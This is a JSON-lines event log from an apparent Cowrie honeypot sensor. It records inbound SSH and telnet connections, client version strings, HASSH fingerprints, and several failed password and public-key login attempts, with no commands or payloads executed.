{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:05.867281Z","src_ip":"36.93.249.106","session":"bc3774c8a2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:06.147892Z","src_ip":"36.93.249.106","session":"bc3774c8a2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test-123","message":"login attempt [test/test-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:07.293017Z","src_ip":"36.93.249.106","session":"bc3774c8a2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:08.574555Z","src_ip":"36.93.249.106","session":"bc3774c8a2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:08.951823Z","src_ip":"120.48.135.189","session":"a5b0203b129c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":60710,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfbe672ce33d","protocol":"ssh","message":"New connection: 185.9.193.111:60710 (159.203.135.109:22) [session: bfbe672ce33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:26.252271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:26.257414Z","src_ip":"185.9.193.111","session":"bfbe672ce33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"6645b143ab3b","protocol":"telnet","message":"New connection: 45.63.78.87:50138 (10.17.0.5:23) [session: 6645b143ab3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:29.563063Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.218","src_port":44070,"dst_ip":"10.17.0.5","dst_port":22,"session":"468663678335","protocol":"ssh","message":"New connection: 96.127.172.218:44070 (10.17.0.5:22) [session: 468663678335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:33.994357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.002577Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.031398Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:d5:40:3a:47:78:4b:98:f0:d9:61:d8:9a:75:2f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDayMevGF+/JM9hvxzjtZZ2M+BrD2SpLH6yXd6izz407XkxWwfDcNlDjbnaEJ7PjnFLomVQ4KSnvWVQKbcxnClKPvlVA8d7d28GXJYv46qB7gt5/0rvl9Cx0IuaD9Uw624JslU9CJa2mpzGM9MkV0GR/dF39LZLUopMU6LI7hh9uFYJeV+IBA0849kpPBUFIhSMYrONiPaYe4Qwi2LqLx0wmI3tQGo1m3+vjJS0FMC7opVYrnrYSY1908nKOLOimNKouAOsfhinYaZ6ETBtSAyV88aXYND/nvxkgdaFhjiibOQwPmliAsWMC0SR+S4orBJaiEtwZNqheWXJk6v2moLz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:d5:40:3a:47:78:4b:98:f0:d9:61:d8:9a:75:2f:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.164116Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:d5:40:3a:47:78:4b:98:f0:d9:61:d8:9a:75:2f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDayMevGF+/JM9hvxzjtZZ2M+BrD2SpLH6yXd6izz407XkxWwfDcNlDjbnaEJ7PjnFLomVQ4KSnvWVQKbcxnClKPvlVA8d7d28GXJYv46qB7gt5/0rvl9Cx0IuaD9Uw624JslU9CJa2mpzGM9MkV0GR/dF39LZLUopMU6LI7hh9uFYJeV+IBA0849kpPBUFIhSMYrONiPaYe4Qwi2LqLx0wmI3tQGo1m3+vjJS0FMC7opVYrnrYSY1908nKOLOimNKouAOsfhinYaZ6ETBtSAyV88aXYND/nvxkgdaFhjiibOQwPmliAsWMC0SR+S4orBJaiEtwZNqheWXJk6v2moLz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.167415Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:2b:c2:ae:09:d2:14:59:b3:7e:24:c6:07:e9:40:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMS9G9x/t5Dw/HWNVdTH2qVnRdVpCjLYPV/QfXbMwebO9T7CWrcmmnw/s+3zOQz53vCB24qoQBNhlfu1p5dAPYgFylvC/9EidNUyPR6J7onWKNBBBf/qnMdrZ1dRqNNwFT1Da+AXaPf/KxMnAwaxrmlep5KsySt1Iks6IWujHg8IjH9hhcu/qFqhvsDw6Av98ZjKJ5k0RIH5JkC5MtIraJSKWCBhhyHEkV4MU4800AACR8Xw55AK3kcnMrbv0fJq8TD8TI1Z0/+jioy+IByfh3Osg/oXrIT4iWYRUpt62nPtXOexD0+lgu0iig9TPQ48hJGrl6KM+pEQl9wmNcC+1N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:2b:c2:ae:09:d2:14:59:b3:7e:24:c6:07:e9:40:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.197620Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:2b:c2:ae:09:d2:14:59:b3:7e:24:c6:07:e9:40:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMS9G9x/t5Dw/HWNVdTH2qVnRdVpCjLYPV/QfXbMwebO9T7CWrcmmnw/s+3zOQz53vCB24qoQBNhlfu1p5dAPYgFylvC/9EidNUyPR6J7onWKNBBBf/qnMdrZ1dRqNNwFT1Da+AXaPf/KxMnAwaxrmlep5KsySt1Iks6IWujHg8IjH9hhcu/qFqhvsDw6Av98ZjKJ5k0RIH5JkC5MtIraJSKWCBhhyHEkV4MU4800AACR8Xw55AK3kcnMrbv0fJq8TD8TI1Z0/+jioy+IByfh3Osg/oXrIT4iWYRUpt62nPtXOexD0+lgu0iig9TPQ48hJGrl6KM+pEQl9wmNcC+1N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.201140Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:da:a8:54:6d:b5:58:5d:67:8f:2e:04:15:22:9d:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdvrwY2j3wvZVPmvNg1zL/0ujnazixkZTTInrs6QEO2mCJpnAzt3g/sIU9lKoU6nkCqvmXtK96GOhkBhWczpmd1bXxHPJavh2KN5HgTdNoaNybqHpHkgjG1CcJGc9KftDoTcLy/tnVBnkZwQ5ftbqhbiwN35Tj5FdTj8pAzqCjS5TvuACD5JUovNf6XWDLZqpFasPRghejgLsBpx5F2weH5ivaraVstAFB8kwSsjix9bYnsqudFw4QcDJOhCPf48sSTTLYDMr64xMOGamRYlcHeJ2WGoL+DS/sOr7HmxGAU+DnzmY7k4UtOIb3gMSbjHHFLa8x6ao9ilkRKMChqxBrpbBkZa7T7VAjrfaM5t0ltT+jeObQNIAQIfHBQeSCuQVQI+15Mnh6RvbQ1jn+xTW1qbA0AqpcdpxhN4ubCzs8aPyf/M9o6gbmxO7ghw2fKgNinJJju/IHBOUfwLD7oSbVW6vE2nMd15YmH+6gHtNevGyDqGO5Hu4PsLyk2vSgCMXWhSTzFK28z/tiyLK8ox8eQKD3gV0jHdXeYot8fKKzOMkdUJbcKv5sjzihSBO6YsZXwaAw5g83BEWqZjJQCRsXI/IltJhv2FA1CrcnwAjBegCKDQ3U2p4+mn2O70Mn3SPKH7Tj+HP+n8qYdgPrSfvHAafodBQ1rPpEO5bqwmJmgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:da:a8:54:6d:b5:58:5d:67:8f:2e:04:15:22:9d:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.230547Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:da:a8:54:6d:b5:58:5d:67:8f:2e:04:15:22:9d:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdvrwY2j3wvZVPmvNg1zL/0ujnazixkZTTInrs6QEO2mCJpnAzt3g/sIU9lKoU6nkCqvmXtK96GOhkBhWczpmd1bXxHPJavh2KN5HgTdNoaNybqHpHkgjG1CcJGc9KftDoTcLy/tnVBnkZwQ5ftbqhbiwN35Tj5FdTj8pAzqCjS5TvuACD5JUovNf6XWDLZqpFasPRghejgLsBpx5F2weH5ivaraVstAFB8kwSsjix9bYnsqudFw4QcDJOhCPf48sSTTLYDMr64xMOGamRYlcHeJ2WGoL+DS/sOr7HmxGAU+DnzmY7k4UtOIb3gMSbjHHFLa8x6ao9ilkRKMChqxBrpbBkZa7T7VAjrfaM5t0ltT+jeObQNIAQIfHBQeSCuQVQI+15Mnh6RvbQ1jn+xTW1qbA0AqpcdpxhN4ubCzs8aPyf/M9o6gbmxO7ghw2fKgNinJJju/IHBOUfwLD7oSbVW6vE2nMd15YmH+6gHtNevGyDqGO5Hu4PsLyk2vSgCMXWhSTzFK28z/tiyLK8ox8eQKD3gV0jHdXeYot8fKKzOMkdUJbcKv5sjzihSBO6YsZXwaAw5g83BEWqZjJQCRsXI/IltJhv2FA1CrcnwAjBegCKDQ3U2p4+mn2O70Mn3SPKH7Tj+HP+n8qYdgPrSfvHAafodBQ1rPpEO5bqwmJmgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.233824Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:7f:3f:47:a0:b4:b6:5a:6a:d4:b5:3c:6d:f4:9e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXl3Oals8sRa0vNE/CV1CvfwgB02BFrI/P03HFTofxTBPdvDPYw1+ghyfnRmuKPsmNXiwSxIVLf1FRXbgNdhvgWIYySS7q/arZULcOLYrSiNWcXvPqqhmYoSjrbxOR1pVCvpBEOWq/vnSP9J1rBPfQ4DrnCFBLuApuzy6eBMIp0lrY+pCihM+q1j5CMgZhkZe7hpqMnrQzaCW81rSBCkp2Er2xpjq/krOdFKf215+6GgLKbyYVxoQvu3SkAF5fX1ctZswwHN6EkrjYO9djmhwZZHfMPh7Q+txcUfH9QQsN12x5rUCfT1X8VwS8HtTTostK8tYnrhgNDw2KnGdtOBn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:7f:3f:47:a0:b4:b6:5a:6a:d4:b5:3c:6d:f4:9e:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.261399Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:7f:3f:47:a0:b4:b6:5a:6a:d4:b5:3c:6d:f4:9e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXl3Oals8sRa0vNE/CV1CvfwgB02BFrI/P03HFTofxTBPdvDPYw1+ghyfnRmuKPsmNXiwSxIVLf1FRXbgNdhvgWIYySS7q/arZULcOLYrSiNWcXvPqqhmYoSjrbxOR1pVCvpBEOWq/vnSP9J1rBPfQ4DrnCFBLuApuzy6eBMIp0lrY+pCihM+q1j5CMgZhkZe7hpqMnrQzaCW81rSBCkp2Er2xpjq/krOdFKf215+6GgLKbyYVxoQvu3SkAF5fX1ctZswwHN6EkrjYO9djmhwZZHfMPh7Q+txcUfH9QQsN12x5rUCfT1X8VwS8HtTTostK8tYnrhgNDw2KnGdtOBn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.265156Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:d2:35:af:1a:91:12:52:1a:dc:e6:b1:5e:01:22:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRKFegfrzUD3oUAsH6PkvAE6m4UwRNxfZPga3yfeU9hJ6fJIkVU3riMMVwWDz8lsISYjy0t0sHVVatO1BWijtU7J4Q4QTk3lxrzVtwOayjbmNzqmY8D9viPZZCcKYSX2eeWvAPZtyilBWY+2yl71ABBkr9xqv2ee6J+cw0byIW3rzz7Q0haPPnptl05A3lXom5YlSX24qEPemMupu4vFLiT/IClOTywBC45z7UCLkzRvQWDVwun4i6YJViUQk+sNloms3XWPAm95X2ffRjdi95yuZQUM7lRLes32E5gbn7hrDe8u4M4/iq0TJJtDlTy1mTVo4b40pes13NS2U3qOb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:d2:35:af:1a:91:12:52:1a:dc:e6:b1:5e:01:22:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.295994Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:d2:35:af:1a:91:12:52:1a:dc:e6:b1:5e:01:22:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRKFegfrzUD3oUAsH6PkvAE6m4UwRNxfZPga3yfeU9hJ6fJIkVU3riMMVwWDz8lsISYjy0t0sHVVatO1BWijtU7J4Q4QTk3lxrzVtwOayjbmNzqmY8D9viPZZCcKYSX2eeWvAPZtyilBWY+2yl71ABBkr9xqv2ee6J+cw0byIW3rzz7Q0haPPnptl05A3lXom5YlSX24qEPemMupu4vFLiT/IClOTywBC45z7UCLkzRvQWDVwun4i6YJViUQk+sNloms3XWPAm95X2ffRjdi95yuZQUM7lRLes32E5gbn7hrDe8u4M4/iq0TJJtDlTy1mTVo4b40pes13NS2U3qOb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.299714Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:34.331868Z","src_ip":"96.127.172.218","session":"468663678335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":53836,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a1e6df15166","protocol":"telnet","message":"New connection: 45.63.78.87:53836 (10.17.0.5:23) [session: 8a1e6df15166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:41.649075Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:44.835252Z","src_ip":"185.9.193.111","session":"bfbe672ce33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:44.842618Z","src_ip":"185.9.193.111","session":"bfbe672ce33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9786217212677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:00.541567Z","src_ip":"45.63.78.87","session":"6645b143ab3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":51398,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed90b7d6f69","protocol":"ssh","message":"New connection: 36.93.249.106:51398 (159.203.135.109:22) [session: 0ed90b7d6f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:00.551239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:00.556851Z","src_ip":"36.93.249.106","session":"0ed90b7d6f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:00.836947Z","src_ip":"36.93.249.106","session":"0ed90b7d6f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345q","message":"login attempt [user/12345q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:02.010276Z","src_ip":"36.93.249.106","session":"0ed90b7d6f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:03.295624Z","src_ip":"36.93.249.106","session":"0ed90b7d6f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37599802017212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:12.024943Z","src_ip":"45.63.78.87","session":"8a1e6df15166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":57218,"dst_ip":"10.17.0.5","dst_port":22,"session":"aecadd676816","protocol":"ssh","message":"New connection: 120.48.135.189:57218 (10.17.0.5:22) [session: aecadd676816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:16.841362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:11:16.846501Z","src_ip":"120.48.135.189","session":"aecadd676816","protocol":"ssh"}
